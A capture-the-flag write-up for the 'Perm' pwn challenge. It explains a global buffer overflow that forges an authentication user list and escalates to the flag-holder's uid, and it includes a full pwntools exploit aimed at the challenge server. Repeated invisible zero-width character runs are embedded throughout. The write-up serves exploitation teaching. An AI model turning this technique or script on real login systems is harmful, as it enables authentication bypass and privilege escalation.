← Back to Writeups
CUSTOMMediumpwn

Perm

XESXOR9/2/20265 min read
#pwn#custom#medium#data_only_attack#global_buffer_overflow#integrity_count_bypass#self_supplied_crypt_hash#setresuid_privesc#user_list_forgery#linux

Perm

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: data_only_attack, global_buffer_overflow, integrity_count_bypass, self_supplied_crypt_hash, setresuid_privesc, user_list_forgery

Summary

Task: NON-PIE x86-64 fake UNIX mainframe login that parses /etc/passwd+/etc/shadow into a malloc'd user linked list; an unbounded gets() into a 0x1000 global sits immediately before the global list-head pointer USER_FIRST. Solution: overflow input to overwrite USER_FIRST with a pointer to a fully forged 21-node user list built inside the same global (no leak needed, NON-PIE), reproducing the exact node count to defeat the integrity check and using a self-chosen MD5-crypt hash to authenticate as uid 51337 (flagholder), reaching setresuid()+/bin/bash to read /flag.txt.

Perm — pwn_spbctf

Description

Perm — Pwn. A fake UNIX mainframe login. Guest access is hinted (guest:guest). Remote: nc 109.233.56.90 11592. Author: Vlad Roskov (mrvos).

A 64-bit x86-64 ELF (perm.elf) emulates a UNIX mainframe login. On startup it parses /etc/passwd and /etc/shadow into a linked list of user structs, then runs a single login flow: it crypt()-checks the supplied password and on success drops privileges with setresuid(uid) and spawns system("/bin/bash -il").

Goal: /flag.txt is mode 0400 owned by user flagholder (uid 51337). guest:guest only gives uid 1000 (cannot read the flag). flagholder exists in /etc/passwd but has no password in /etc/shadow, so the normal login path rejects it with "This user doesn't have a password!". We must obtain a shell as flagholder. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Protections: NON-PIE (base 0x400000), NX, Partial RELRO, stack canary present. Being NON-PIE is the key enabler — every global lives at a fixed, known address.

Relevant globals:

SymbolAddressNotes
input0x404100exactly 0x1000 bytes
USER_COUNT0x4040e0int
USER_FIRST0x405100list head ptr — = input + 0x1000, immediately after the buffer

user struct (malloc(0x20)):

+0x00  char *name
+0x08  int   uid
+0x10  char *hash    (0 = no password)
+0x18  user *next

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key functions:

  • user_insert — prepends a node to USER_FIRST, increments USER_COUNT.
  • user_lookup(key) — walks USER_FIRST via +0x18, strcmp(node->name, key), records the LAST matching node into found (does not break on first match) and counts nodes. After the walk: if (count != USER_COUNT) -> puts("MEMORY CORRUPTION DETECTED"); abort();
  • main login flow:
    1. gets(input) — username, UNBOUNDED
    2. user_lookup(input) — save returned node ptr
    3. gets(input) — password, UNBOUNDED, same global buffer
    4. on the saved node: if hash==0 → "doesn't have a password"; else crypt(password, node->hash) and strcmp vs node->hash; if equal and uid != 0 → setgroups/setresgid/setresuid(uid) → system("/bin/bash -il"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

gets(input) is unbounded and input (0x404100) is exactly 0x1000 bytes, ending precisely at USER_FIRST (0x405100). Overflowing input by 0x1000 bytes overwrites the list-head pointer USER_FIRST. Since the binary is NON-PIE, we can forge a complete user list inside input itself and point USER_FIRST at it — no heap/stack leak required.

This is a data-only attack: there is no control-flow hijack. We corrupt the authentication data structure so the program's own logic logs us in as flagholder. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Forge the entire user list inside input in the single username gets():

  1. Lookup key = input as a C-string (first bytes until NUL) — keep it "FH".
  2. Place supporting strings and a forged list of exactly 21 nodes (to match USER_COUNT == 21) in the upper part of input (offsets ~0x900+), so a short password line in the second gets() does not clobber them.
  3. Node 0 = flagholder: name -> "FH", uid = 51337, hash -> our crypt string, next -> node1.
  4. Nodes 1..20 = dummies: name -> "dum" (a different string so user_lookup does not re-match — it returns the LAST match, so a same-named dummy with hash=0 would win and break us), uid=1, hash=0, chained, node20.next=0. Total 21 → integrity check passes.
  5. Forged hash = MD5-crypt of password "x" with salt "abcdefgh", generated locally: openssl passwd -1 -salt abcdefgh x → $1$abcdefgh$znAnv9M.XU2pRYfmSs46h/. glibc crypt("x", that_hash) reproduces the exact string → strcmp == 0.
  6. Append p64(node0_addr) at offset 0x1000 to overwrite USER_FIRST. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Interaction:

  1. username: send the 0x1008-byte crafted buffer (fake list + USER_FIRST overwrite). user_lookup finds node0 (uid 51337, our hash), count == 21 OK.
  2. password: send short "x" — does not reach offset 0x1000, so the nodes and USER_FIRST survive; the saved node ptr already points at node0. crypt("x", node0->hash) matches → uid 51337 != 0 → setresuid(51337) → /bin/bash as flagholder.
  3. shell: id; cat /flag.txt → flag.
python
#!/usr/bin/env python3
from pwn import *
import sys
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

context.arch = 'amd64'

INPUT      = 0x404100   # global input buffer, size 0x1000
USER_FIRST = 0x405100   # = INPUT + 0x1000 (immediately after input)
USER_COUNT = 21         # remote reported "21 users"

# user struct (malloc 0x20): +0x00 name, +0x08 uid(int), +0x10 hash(0=none), +0x18 next
HASH = b'$1$abcdefgh$znAnv9M.XU2pRYfmSs46h/'  # openssl passwd -1 -salt abcdefgh x
PW   = b'x'
LOGIN_NAME = b'FH'

def build_username():
    buf = bytearray(b'\x00' * 0x1000)

    # lookup key = input as C-string
    buf[0:len(LOGIN_NAME)] = LOGIN_NAME
    buf[len(LOGIN_NAME)] = 0
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    name_off, hash_off, dname_off = 0x900, 0x920, 0x960
    def putstr(off, s):
        b = s + b'\x00'
        buf[off:off+len(b)] = b          # exact-length assign: never resize the bytearray
    putstr(name_off, LOGIN_NAME)
    putstr(hash_off, HASH)
    putstr(dname_off, b'dum')            # different name so lookup does NOT re-match dummies
    name_addr  = INPUT + name_off
    hash_addr  = INPUT + hash_off
    dname_addr = INPUT + dname_off

    nodes_off, NSTRIDE = 0xa00, 0x20
    node_addr = lambda i: INPUT + nodes_off + i*NSTRIDE
    for i in range(USER_COUNT):
        off = nodes_off + i*NSTRIDE
        if i == 0:
            name, uid, h = name_addr, 51337, hash_addr    # flagholder
        else:
            name, uid, h = dname_addr, 1, 0               # dummy
        nxt = node_addr(i+1) if i < USER_COUNT-1 else 0
        buf[off+0x00:off+0x08] = p64(name)
        buf[off+0x08:off+0x0c] = p32(uid & 0xffffffff)
        buf[off+0x0c:off+0x10] = b'\x00'*4
        buf[off+0x10:off+0x18] = p64(h)
        buf[off+0x18:off+0x20] = p64(nxt)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    return bytes(buf) + p64(node_addr(0))  # overwrite USER_FIRST at input+0x1000

def main():
    io = remote('109.233.56.90', 11592)
    io.recvuntil(b'login: ')
    io.sendline(build_username())          # forge list + overwrite USER_FIRST
    io.recvuntil(b'password: ')
    io.sendline(PW)                        # short -> upper input/USER_FIRST survive
    io.sendline(b'id; cat /flag.txt')
    print(io.recvall(timeout=8).decode(errors='replace'))

if __name__ == '__main__':
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍